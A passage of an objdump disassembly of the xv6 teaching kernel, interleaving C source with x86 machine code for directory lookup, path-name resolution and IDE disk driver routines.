8010216a: 8b 40 58 mov 0x58(%eax),%eax
8010216d: 3b 45 f4 cmp -0xc(%ebp),%eax
80102170: 0f 87 6b ff ff ff ja 801020e1 <dirlookup+0x2a>
inum = de.inum;
return iget(dp->dev, inum);
}
}
return 0;
80102176: b8 00 00 00 00 mov $0x0,%eax
}
8010217b: c9 leave
8010217c: c3 ret
8010217d <dirlink>:
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
8010217d: 55 push %ebp
8010217e: 89 e5 mov %esp,%ebp
80102180: 83 ec 38 sub $0x38,%esp
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
80102183: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8010218a: 00
8010218b: 8b 45 0c mov 0xc(%ebp),%eax
8010218e: 89 44 24 04 mov %eax,0x4(%esp)
80102192: 8b 45 08 mov 0x8(%ebp),%eax
80102195: 89 04 24 mov %eax,(%esp)
80102198: e8 1a ff ff ff call 801020b7 <dirlookup>
8010219d: 89 45 f0 mov %eax,-0x10(%ebp)
801021a0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801021a4: 74 15 je 801021bb <dirlink+0x3e>
iput(ip);
801021a6: 8b 45 f0 mov -0x10(%ebp),%eax
801021a9: 89 04 24 mov %eax,(%esp)
801021ac: e8 c5 f8 ff ff call 80101a76 <iput>
return -1;
801021b1: b8 ff ff ff ff mov $0xffffffff,%eax
801021b6: e9 b6 00 00 00 jmp 80102271 <dirlink+0xf4>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
801021bb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801021c2: eb 45 jmp 80102209 <dirlink+0x8c>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801021c4: 8b 45 f4 mov -0xc(%ebp),%eax
801021c7: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
801021ce: 00
801021cf: 89 44 24 08 mov %eax,0x8(%esp)
801021d3: 8d 45 e0 lea -0x20(%ebp),%eax
801021d6: 89 44 24 04 mov %eax,0x4(%esp)
801021da: 8b 45 08 mov 0x8(%ebp),%eax
801021dd: 89 04 24 mov %eax,(%esp)
801021e0: e8 bd fb ff ff call 80101da2 <readi>
801021e5: 83 f8 10 cmp $0x10,%eax
801021e8: 74 0c je 801021f6 <dirlink+0x79>
panic("dirlink read");
801021ea: c7 04 24 e7 86 10 80 movl $0x801086e7,(%esp)
801021f1: e8 5e e3 ff ff call 80100554 <panic>
if(de.inum == 0)
801021f6: 8b 45 e0 mov -0x20(%ebp),%eax
801021f9: 66 85 c0 test %ax,%ax
801021fc: 75 02 jne 80102200 <dirlink+0x83>
break;
801021fe: eb 16 jmp 80102216 <dirlink+0x99>
iput(ip);
return -1;
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
80102200: 8b 45 f4 mov -0xc(%ebp),%eax
80102203: 83 c0 10 add $0x10,%eax
80102206: 89 45 f4 mov %eax,-0xc(%ebp)
80102209: 8b 55 f4 mov -0xc(%ebp),%edx
8010220c: 8b 45 08 mov 0x8(%ebp),%eax
8010220f: 8b 40 58 mov 0x58(%eax),%eax
80102212: 39 c2 cmp %eax,%edx
80102214: 72 ae jb 801021c4 <dirlink+0x47>
panic("dirlink read");
if(de.inum == 0)
break;
}
strncpy(de.name, name, DIRSIZ);
80102216: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
8010221d: 00
8010221e: 8b 45 0c mov 0xc(%ebp),%eax
80102221: 89 44 24 04 mov %eax,0x4(%esp)
80102225: 8d 45 e0 lea -0x20(%ebp),%eax
80102228: 83 c0 02 add $0x2,%eax
8010222b: 89 04 24 mov %eax,(%esp)
8010222e: e8 0d 31 00 00 call 80105340 <strncpy>
de.inum = inum;
80102233: 8b 45 10 mov 0x10(%ebp),%eax
80102236: 66 89 45 e0 mov %ax,-0x20(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010223a: 8b 45 f4 mov -0xc(%ebp),%eax
8010223d: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80102244: 00
80102245: 89 44 24 08 mov %eax,0x8(%esp)
80102249: 8d 45 e0 lea -0x20(%ebp),%eax
8010224c: 89 44 24 04 mov %eax,0x4(%esp)
80102250: 8b 45 08 mov 0x8(%ebp),%eax
80102253: 89 04 24 mov %eax,(%esp)
80102256: e8 ab fc ff ff call 80101f06 <writei>
8010225b: 83 f8 10 cmp $0x10,%eax
8010225e: 74 0c je 8010226c <dirlink+0xef>
panic("dirlink");
80102260: c7 04 24 f4 86 10 80 movl $0x801086f4,(%esp)
80102267: e8 e8 e2 ff ff call 80100554 <panic>
return 0;
8010226c: b8 00 00 00 00 mov $0x0,%eax
}
80102271: c9 leave
80102272: c3 ret
80102273 <skipelem>:
// skipelem("a", name) = "", setting name = "a"
// skipelem("", name) = skipelem("////", name) = 0
//
static char*
skipelem(char *path, char *name)
{
80102273: 55 push %ebp
80102274: 89 e5 mov %esp,%ebp
80102276: 83 ec 28 sub $0x28,%esp
char *s;
int len;
while(*path == '/')
80102279: eb 03 jmp 8010227e <skipelem+0xb>
path++;
8010227b: ff 45 08 incl 0x8(%ebp)
skipelem(char *path, char *name)
{
char *s;
int len;
while(*path == '/')
8010227e: 8b 45 08 mov 0x8(%ebp),%eax
80102281: 8a 00 mov (%eax),%al
80102283: 3c 2f cmp $0x2f,%al
80102285: 74 f4 je 8010227b <skipelem+0x8>
path++;
if(*path == 0)
80102287: 8b 45 08 mov 0x8(%ebp),%eax
8010228a: 8a 00 mov (%eax),%al
8010228c: 84 c0 test %al,%al
8010228e: 75 0a jne 8010229a <skipelem+0x27>
return 0;
80102290: b8 00 00 00 00 mov $0x0,%eax
80102295: e9 81 00 00 00 jmp 8010231b <skipelem+0xa8>
s = path;
8010229a: 8b 45 08 mov 0x8(%ebp),%eax
8010229d: 89 45 f4 mov %eax,-0xc(%ebp)
while(*path != '/' && *path != 0)
801022a0: eb 03 jmp 801022a5 <skipelem+0x32>
path++;
801022a2: ff 45 08 incl 0x8(%ebp)
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
801022a5: 8b 45 08 mov 0x8(%ebp),%eax
801022a8: 8a 00 mov (%eax),%al
801022aa: 3c 2f cmp $0x2f,%al
801022ac: 74 09 je 801022b7 <skipelem+0x44>
801022ae: 8b 45 08 mov 0x8(%ebp),%eax
801022b1: 8a 00 mov (%eax),%al
801022b3: 84 c0 test %al,%al
801022b5: 75 eb jne 801022a2 <skipelem+0x2f>
path++;
len = path - s;
801022b7: 8b 55 08 mov 0x8(%ebp),%edx
801022ba: 8b 45 f4 mov -0xc(%ebp),%eax
801022bd: 29 c2 sub %eax,%edx
801022bf: 89 d0 mov %edx,%eax
801022c1: 89 45 f0 mov %eax,-0x10(%ebp)
if(len >= DIRSIZ)
801022c4: 83 7d f0 0d cmpl $0xd,-0x10(%ebp)
801022c8: 7e 1c jle 801022e6 <skipelem+0x73>
memmove(name, s, DIRSIZ);
801022ca: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
801022d1: 00
801022d2: 8b 45 f4 mov -0xc(%ebp),%eax
801022d5: 89 44 24 04 mov %eax,0x4(%esp)
801022d9: 8b 45 0c mov 0xc(%ebp),%eax
801022dc: 89 04 24 mov %eax,(%esp)
801022df: e8 6f 2f 00 00 call 80105253 <memmove>
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
801022e4: eb 29 jmp 8010230f <skipelem+0x9c>
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
801022e6: 8b 45 f0 mov -0x10(%ebp),%eax
801022e9: 89 44 24 08 mov %eax,0x8(%esp)
801022ed: 8b 45 f4 mov -0xc(%ebp),%eax
801022f0: 89 44 24 04 mov %eax,0x4(%esp)
801022f4: 8b 45 0c mov 0xc(%ebp),%eax
801022f7: 89 04 24 mov %eax,(%esp)
801022fa: e8 54 2f 00 00 call 80105253 <memmove>
name[len] = 0;
801022ff: 8b 55 f0 mov -0x10(%ebp),%edx
80102302: 8b 45 0c mov 0xc(%ebp),%eax
80102305: 01 d0 add %edx,%eax
80102307: c6 00 00 movb $0x0,(%eax)
}
while(*path == '/')
8010230a: eb 03 jmp 8010230f <skipelem+0x9c>
path++;
8010230c: ff 45 08 incl 0x8(%ebp)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
8010230f: 8b 45 08 mov 0x8(%ebp),%eax
80102312: 8a 00 mov (%eax),%al
80102314: 3c 2f cmp $0x2f,%al
80102316: 74 f4 je 8010230c <skipelem+0x99>
path++;
return path;
80102318: 8b 45 08 mov 0x8(%ebp),%eax
}
8010231b: c9 leave
8010231c: c3 ret
8010231d <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
8010231d: 55 push %ebp
8010231e: 89 e5 mov %esp,%ebp
80102320: 83 ec 28 sub $0x28,%esp
struct inode *ip, *next;
if(*path == '/')
80102323: 8b 45 08 mov 0x8(%ebp),%eax
80102326: 8a 00 mov (%eax),%al
80102328: 3c 2f cmp $0x2f,%al
8010232a: 75 1c jne 80102348 <namex+0x2b>
ip = iget(ROOTDEV, ROOTINO);
8010232c: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102333: 00
80102334: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010233b: e8 d7 f4 ff ff call 80101817 <iget>
80102340: 89 45 f4 mov %eax,-0xc(%ebp)
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
80102343: e9 ad 00 00 00 jmp 801023f5 <namex+0xd8>
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
80102348: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010234e: 8b 40 68 mov 0x68(%eax),%eax
80102351: 89 04 24 mov %eax,(%esp)
80102354: e8 93 f5 ff ff call 801018ec <idup>
80102359: 89 45 f4 mov %eax,-0xc(%ebp)
while((path = skipelem(path, name)) != 0){
8010235c: e9 94 00 00 00 jmp 801023f5 <namex+0xd8>
ilock(ip);
80102361: 8b 45 f4 mov -0xc(%ebp),%eax
80102364: 89 04 24 mov %eax,(%esp)
80102367: e8 b2 f5 ff ff call 8010191e <ilock>
if(ip->type != T_DIR){
8010236c: 8b 45 f4 mov -0xc(%ebp),%eax
8010236f: 8b 40 50 mov 0x50(%eax),%eax
80102372: 66 83 f8 01 cmp $0x1,%ax
80102376: 74 15 je 8010238d <namex+0x70>
iunlockput(ip);
80102378: 8b 45 f4 mov -0xc(%ebp),%eax
8010237b: 89 04 24 mov %eax,(%esp)
8010237e: e8 87 f7 ff ff call 80101b0a <iunlockput>
return 0;
80102383: b8 00 00 00 00 mov $0x0,%eax
80102388: e9 a2 00 00 00 jmp 8010242f <namex+0x112>
}
if(nameiparent && *path == '\0'){
8010238d: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80102391: 74 1c je 801023af <namex+0x92>
80102393: 8b 45 08 mov 0x8(%ebp),%eax
80102396: 8a 00 mov (%eax),%al
80102398: 84 c0 test %al,%al
8010239a: 75 13 jne 801023af <namex+0x92>
// Stop one level early.
iunlock(ip);
8010239c: 8b 45 f4 mov -0xc(%ebp),%eax
8010239f: 89 04 24 mov %eax,(%esp)
801023a2: e8 8b f6 ff ff call 80101a32 <iunlock>
return ip;
801023a7: 8b 45 f4 mov -0xc(%ebp),%eax
801023aa: e9 80 00 00 00 jmp 8010242f <namex+0x112>
}
if((next = dirlookup(ip, name, 0)) == 0){
801023af: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801023b6: 00
801023b7: 8b 45 10 mov 0x10(%ebp),%eax
801023ba: 89 44 24 04 mov %eax,0x4(%esp)
801023be: 8b 45 f4 mov -0xc(%ebp),%eax
801023c1: 89 04 24 mov %eax,(%esp)
801023c4: e8 ee fc ff ff call 801020b7 <dirlookup>
801023c9: 89 45 f0 mov %eax,-0x10(%ebp)
801023cc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801023d0: 75 12 jne 801023e4 <namex+0xc7>
iunlockput(ip);
801023d2: 8b 45 f4 mov -0xc(%ebp),%eax
801023d5: 89 04 24 mov %eax,(%esp)
801023d8: e8 2d f7 ff ff call 80101b0a <iunlockput>
return 0;
801023dd: b8 00 00 00 00 mov $0x0,%eax
801023e2: eb 4b jmp 8010242f <namex+0x112>
}
iunlockput(ip);
801023e4: 8b 45 f4 mov -0xc(%ebp),%eax
801023e7: 89 04 24 mov %eax,(%esp)
801023ea: e8 1b f7 ff ff call 80101b0a <iunlockput>
ip = next;
801023ef: 8b 45 f0 mov -0x10(%ebp),%eax
801023f2: 89 45 f4 mov %eax,-0xc(%ebp)
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
801023f5: 8b 45 10 mov 0x10(%ebp),%eax
801023f8: 89 44 24 04 mov %eax,0x4(%esp)
801023fc: 8b 45 08 mov 0x8(%ebp),%eax
801023ff: 89 04 24 mov %eax,(%esp)
80102402: e8 6c fe ff ff call 80102273 <skipelem>
80102407: 89 45 08 mov %eax,0x8(%ebp)
8010240a: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
8010240e: 0f 85 4d ff ff ff jne 80102361 <namex+0x44>
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
80102414: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80102418: 74 12 je 8010242c <namex+0x10f>
iput(ip);
8010241a: 8b 45 f4 mov -0xc(%ebp),%eax
8010241d: 89 04 24 mov %eax,(%esp)
80102420: e8 51 f6 ff ff call 80101a76 <iput>
return 0;
80102425: b8 00 00 00 00 mov $0x0,%eax
8010242a: eb 03 jmp 8010242f <namex+0x112>
}
return ip;
8010242c: 8b 45 f4 mov -0xc(%ebp),%eax
}
8010242f: c9 leave
80102430: c3 ret
80102431 <namei>:
struct inode*
namei(char *path)
{
80102431: 55 push %ebp
80102432: 89 e5 mov %esp,%ebp
80102434: 83 ec 28 sub $0x28,%esp
char name[DIRSIZ];
return namex(path, 0, name);
80102437: 8d 45 ea lea -0x16(%ebp),%eax
8010243a: 89 44 24 08 mov %eax,0x8(%esp)
8010243e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102445: 00
80102446: 8b 45 08 mov 0x8(%ebp),%eax
80102449: 89 04 24 mov %eax,(%esp)
8010244c: e8 cc fe ff ff call 8010231d <namex>
}
80102451: c9 leave
80102452: c3 ret
80102453 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80102453: 55 push %ebp
80102454: 89 e5 mov %esp,%ebp
80102456: 83 ec 18 sub $0x18,%esp
return namex(path, 1, name);
80102459: 8b 45 0c mov 0xc(%ebp),%eax
8010245c: 89 44 24 08 mov %eax,0x8(%esp)
80102460: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102467: 00
80102468: 8b 45 08 mov 0x8(%ebp),%eax
8010246b: 89 04 24 mov %eax,(%esp)
8010246e: e8 aa fe ff ff call 8010231d <namex>
}
80102473: c9 leave
80102474: c3 ret
80102475: 00 00 add %al,(%eax)
...
80102478 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102478: 55 push %ebp
80102479: 89 e5 mov %esp,%ebp
8010247b: 83 ec 14 sub $0x14,%esp
8010247e: 8b 45 08 mov 0x8(%ebp),%eax
80102481: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102485: 8b 45 ec mov -0x14(%ebp),%eax
80102488: 89 c2 mov %eax,%edx
8010248a: ec in (%dx),%al
8010248b: 88 45 ff mov %al,-0x1(%ebp)
return data;
8010248e: 8a 45 ff mov -0x1(%ebp),%al
}
80102491: c9 leave
80102492: c3 ret
80102493 <insl>:
static inline void
insl(int port, void *addr, int cnt)
{
80102493: 55 push %ebp
80102494: 89 e5 mov %esp,%ebp
80102496: 57 push %edi
80102497: 53 push %ebx
asm volatile("cld; rep insl" :
80102498: 8b 55 08 mov 0x8(%ebp),%edx
8010249b: 8b 4d 0c mov 0xc(%ebp),%ecx
8010249e: 8b 45 10 mov 0x10(%ebp),%eax
801024a1: 89 cb mov %ecx,%ebx
801024a3: 89 df mov %ebx,%edi
801024a5: 89 c1 mov %eax,%ecx
801024a7: fc cld
801024a8: f3 6d rep insl (%dx),%es:(%edi)
801024aa: 89 c8 mov %ecx,%eax
801024ac: 89 fb mov %edi,%ebx
801024ae: 89 5d 0c mov %ebx,0xc(%ebp)
801024b1: 89 45 10 mov %eax,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"d" (port), "0" (addr), "1" (cnt) :
"memory", "cc");
}
801024b4: 5b pop %ebx
801024b5: 5f pop %edi
801024b6: 5d pop %ebp
801024b7: c3 ret
801024b8 <outb>:
static inline void
outb(ushort port, uchar data)
{
801024b8: 55 push %ebp
801024b9: 89 e5 mov %esp,%ebp
801024bb: 83 ec 08 sub $0x8,%esp
801024be: 8b 45 08 mov 0x8(%ebp),%eax
801024c1: 8b 55 0c mov 0xc(%ebp),%edx
801024c4: 66 89 45 fc mov %ax,-0x4(%ebp)
801024c8: 88 55 f8 mov %dl,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801024cb: 8a 45 f8 mov -0x8(%ebp),%al
801024ce: 8b 55 fc mov -0x4(%ebp),%edx
801024d1: ee out %al,(%dx)
}
801024d2: c9 leave
801024d3: c3 ret
801024d4 <outsl>:
asm volatile("out %0,%1" : : "a" (data), "d" (port));
}
static inline void
outsl(int port, const void *addr, int cnt)
{
801024d4: 55 push %ebp
801024d5: 89 e5 mov %esp,%ebp
801024d7: 56 push %esi
801024d8: 53 push %ebx
asm volatile("cld; rep outsl" :
801024d9: 8b 55 08 mov 0x8(%ebp),%edx
801024dc: 8b 4d 0c mov 0xc(%ebp),%ecx
801024df: 8b 45 10 mov 0x10(%ebp),%eax
801024e2: 89 cb mov %ecx,%ebx
801024e4: 89 de mov %ebx,%esi
801024e6: 89 c1 mov %eax,%ecx
801024e8: fc cld
801024e9: f3 6f rep outsl %ds:(%esi),(%dx)
801024eb: 89 c8 mov %ecx,%eax
801024ed: 89 f3 mov %esi,%ebx
801024ef: 89 5d 0c mov %ebx,0xc(%ebp)
801024f2: 89 45 10 mov %eax,0x10(%ebp)
"=S" (addr), "=c" (cnt) :
"d" (port), "0" (addr), "1" (cnt) :
"cc");
}
801024f5: 5b pop %ebx
801024f6: 5e pop %esi
801024f7: 5d pop %ebp
801024f8: c3 ret
801024f9 <idewait>:
static void idestart(struct buf*);
// Wait for IDE disk to become ready.
static int
idewait(int checkerr)
{
801024f9: 55 push %ebp
801024fa: 89 e5 mov %esp,%ebp
801024fc: 83 ec 14 sub $0x14,%esp
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801024ff: 90 nop
80102500: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
80102507: e8 6c ff ff ff call 80102478 <inb>
8010250c: 0f b6 c0 movzbl %al,%eax
8010250f: 89 45 fc mov %eax,-0x4(%ebp)
80102512: 8b 45 fc mov -0x4(%ebp),%eax
80102515: 25 c0 00 00 00 and $0xc0,%eax
8010251a: 83 f8 40 cmp $0x40,%eax
8010251d: 75 e1 jne 80102500 <idewait+0x7>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
8010251f: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80102523: 74 11 je 80102536 <idewait+0x3d>
80102525: 8b 45 fc mov -0x4(%ebp),%eax
80102528: 83 e0 21 and $0x21,%eax
8010252b: 85 c0 test %eax,%eax
8010252d: 74 07 je 80102536 <idewait+0x3d>
return -1;
8010252f: b8 ff ff ff ff mov $0xffffffff,%eax
80102534: eb 05 jmp 8010253b <idewait+0x42>
return 0;
80102536: b8 00 00 00 00 mov $0x0,%eax
}
8010253b: c9 leave
8010253c: c3 ret
8010253d <ideinit>:
void
ideinit(void)
{
8010253d: 55 push %ebp
8010253e: 89 e5 mov %esp,%ebp
80102540: 83 ec 28 sub $0x28,%esp
int i;
initlock(&idelock, "ide");
80102543: c7 44 24 04 fc 86 10 movl $0x801086fc,0x4(%esp)
8010254a: 80
8010254b: c7 04 24 20 b6 10 80 movl $0x8010b620,(%esp)
80102552: e8 af 29 00 00 call 80104f06 <initlock>
picenable(IRQ_IDE);
80102557: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
8010255e: e8 21 18 00 00 call 80103d84 <picenable>
ioapicenable(IRQ_IDE, ncpu - 1);
80102563: a1 20 3e 11 80 mov 0x80113e20,%eax
80102568: 48 dec %eax
80102569: 89 44 24 04 mov %eax,0x4(%esp)
8010256d: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102574: e8 74 04 00 00 call 801029ed <ioapicenable>
idewait(0);
80102579: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80102580: e8 74 ff ff ff call 801024f9 <idewait>
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
80102585: c7 44 24 04 f0 00 00 movl $0xf0,0x4(%esp)
8010258c: 00
8010258d: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
80102594: e8 1f ff ff ff call 801024b8 <outb>
for(i=0; i<1000; i++){
80102599: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801025a0: eb 1f jmp 801025c1 <ideinit+0x84>
if(inb(0x1f7) != 0){
801025a2: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801025a9: e8 ca fe ff ff call 80102478 <inb>
801025ae: 84 c0 test %al,%al
801025b0: 74 0c je 801025be <ideinit+0x81>
havedisk1 = 1;
801025b2: c7 05 58 b6 10 80 01 movl $0x1,0x8010b658
801025b9: 00 00 00
break;
801025bc: eb 0c jmp 801025ca <ideinit+0x8d>
ioapicenable(IRQ_IDE, ncpu - 1);
idewait(0);
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
for(i=0; i<1000; i++){
801025be: ff 45 f4 incl -0xc(%ebp)
801025c1: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
801025c8: 7e d8 jle 801025a2 <ideinit+0x65>
break;
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
801025ca: c7 44 24 04 e0 00 00 movl $0xe0,0x4(%esp)
801025d1: 00
801025d2: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
801025d9: e8 da fe ff ff call 801024b8 <outb>
}
801025de: c9 leave
801025df: c3 ret
801025e0 <idestart>:
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
801025e0: 55 push %ebp
801025e1: 89 e5 mov %esp,%ebp
801025e3: 83 ec 28 sub $0x28,%esp
if(b == 0)
801025e6: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801025ea: 75 0c jne 801025f8 <idestart+0x18>
panic("idestart");
801025ec: c7 04 24 00 87 10 80 movl $0x80108700,(%esp)
801025f3: e8 5c df ff ff call 80100554 <panic>
if(b->blockno >= FSSIZE)
801025f8: 8b 45 08 mov 0x8(%ebp),%eax
801025fb: 8b 40 08 mov 0x8(%eax),%eax
801025fe: 3d e7 03 00 00 cmp $0x3e7,%eax
80102603: 76 0c jbe 80102611 <idestart+0x31>
panic("incorrect blockno");
80102605: c7 04 24 09 87 10 80 movl $0x80108709,(%esp)
8010260c: e8 43 df ff ff call 80100554 <panic>
int sector_per_block = BSIZE/SECTOR_SIZE;
80102611: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
int sector = b->blockno * sector_per_block;
80102618: 8b 45 08 mov 0x8(%ebp),%eax
8010261b: 8b 50 08 mov 0x8(%eax),%edx
8010261e: 8b 45 f4 mov -0xc(%ebp),%eax
80102621: 0f af c2 imul %edx,%eax
80102624: 89 45 f0 mov %eax,-0x10(%ebp)
int read_cmd = (sector_per_block == 1) ? IDE_CMD_READ : IDE_CMD_RDMUL;
80102627: 83 7d f4 01 cmpl $0x1,-0xc(%ebp)
8010262b: 75 07 jne 80102634 <idestart+0x54>
8010262d: b8 20 00 00 00 mov $0x20,%eax
80102632: eb 05 jmp 80102639 <idestart+0x59>
80102634: b8 c4 00 00 00 mov $0xc4,%eax
80102639: 89 45 ec mov %eax,-0x14(%ebp)
int write_cmd = (sector_per_block == 1) ? IDE_CMD_WRITE : IDE_CMD_WRMUL;
8010263c: 83 7d f4 01 cmpl $0x1,-0xc(%ebp)
80102640: 75 07 jne 80102649 <idestart+0x69>
80102642: b8 30 00 00 00 mov $0x30,%eax
80102647: eb 05 jmp 8010264e <idestart+0x6e>
80102649: b8 c5 00 00 00 mov $0xc5,%eax
8010264e: 89 45 e8 mov %eax,-0x18(%ebp)
if (sector_per_block > 7) panic("idestart");
80102651: 83 7d f4 07 cmpl $0x7,-0xc(%ebp)
80102655: 7e 0c jle 80102663 <idestart+0x83>
80102657: c7 04 24 00 87 10 80 movl $0x80108700,(%esp)
8010265e: e8 f1 de ff ff call 80100554 <panic>
idewait(0);
80102663: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010266a: e8 8a fe ff ff call 801024f9 <idewait>
outb(0x3f6, 0); // generate interrupt
8010266f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102676: 00
80102677: c7 04 24 f6 03 00 00 movl $0x3f6,(%esp)
8010267e: e8 35 fe ff ff call 801024b8 <outb>
outb(0x1f2, sector_per_block); // number of sectors
80102683: 8b 45 f4 mov -0xc(%ebp),%eax
80102686: 0f b6 c0 movzbl %al,%eax
80102689: 89 44 24 04 mov %eax,0x4(%esp)
8010268d: c7 04 24 f2 01 00 00 movl $0x1f2,(%esp)
80102694: e8 1f fe ff ff call 801024b8 <outb>
outb(0x1f3, sector & 0xff);
80102699: 8b 45 f0 mov -0x10(%ebp),%eax
8010269c: 0f b6 c0 movzbl %al,%eax
8010269f: 89 44 24 04 mov %eax,0x4(%esp)
801026a3: c7 04 24 f3 01 00 00 movl $0x1f3,(%esp)
801026aa: e8 09 fe ff ff call 801024b8 <outb>
outb(0x1f4, (sector >> 8) & 0xff);
801026af: 8b 45 f0 mov -0x10(%ebp),%eax
801026b2: c1 f8 08 sar $0x8,%eax
801026b5: 0f b6 c0 movzbl %al,%eax
801026b8: 89 44 24 04 mov %eax,0x4(%esp)
801026bc: c7 04 24 f4 01 00 00 movl $0x1f4,(%esp)
801026c3: e8 f0 fd ff ff call 801024b8 <outb>
outb(0x1f5, (sector >> 16) & 0xff);
801026c8: 8b 45 f0 mov -0x10(%ebp),%eax
801026cb: c1 f8 10 sar $0x10,%eax
801026ce: 0f b6 c0 movzbl %al,%eax
801026d1: 89 44 24 04 mov %eax,0x4(%esp)
801026d5: c7 04 24 f5 01 00 00 movl $0x1f5,(%esp)
801026dc: e8 d7 fd ff ff call 801024b8 <outb>
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
801026e1: 8b 45 08 mov 0x8(%ebp),%eax
801026e4: 8b 40 04 mov 0x4(%eax),%eax
801026e7: 83 e0 01 and $0x1,%eax
801026ea: c1 e0 04 shl $0x4,%eax
801026ed: 88 c2 mov %al,%dl
801026ef: 8b 45 f0 mov -0x10(%ebp),%eax
801026f2: c1 f8 18 sar $0x18,%eax
801026f5: 83 e0 0f and $0xf,%eax
801026f8: 09 d0 or %edx,%eax
801026fa: 83 c8 e0 or $0xffffffe0,%eax
801026fd: 0f b6 c0 movzbl %al,%eax
80102700: 89 44 24 04 mov %eax,0x4(%esp)
80102704: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
8010270b: e8 a8 fd ff ff call 801024b8 <outb>
if(b->flags & B_DIRTY){
80102710: 8b 45 08 mov 0x8(%ebp),%eax
80102713: 8b 00 mov (%eax),%eax
80102715: 83 e0 04 and $0x4,%eax
80102718: 85 c0 test %eax,%eax
8010271a: 74 36 je 80102752 <idestart+0x172>
outb(0x1f7, write_cmd);
8010271c: 8b 45 e8 mov -0x18(%ebp),%eax
8010271f: 0f b6 c0 movzbl %al,%eax
80102722: 89 44 24 04 mov %eax,0x4(%esp)
80102726: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
8010272d: e8 86 fd ff ff call 801024b8 <outb>
outsl(0x1f0, b->data, BSIZE/4);
80102732: 8b 45 08 mov 0x8(%ebp),%eax
80102735: 83 c0 5c add $0x5c,%eax
80102738: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
8010273f: 00
80102740: 89 44 24 04 mov %eax,0x4(%esp)
80102744: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp)
8010274b: e8 84 fd ff ff call 801024d4 <outsl>
80102750: eb 16 jmp 80102768 <idestart+0x188>
} else {
outb(0x1f7, read_cmd);
80102752: 8b 45 ec mov -0x14(%ebp),%eax
80102755: 0f b6 c0 movzbl %al,%eax
80102758: 89 44 24 04 mov %eax,0x4(%esp)
8010275c: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
80102763: e8 50 fd ff ff call 801024b8 <outb>
}
}
80102768: c9 leave
80102769: c3 ret
8010276a <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
8010276a: 55 push %ebp
8010276b: 89 e5 mov %esp,%ebp
8010276d: 83 ec 28 sub $0x28,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
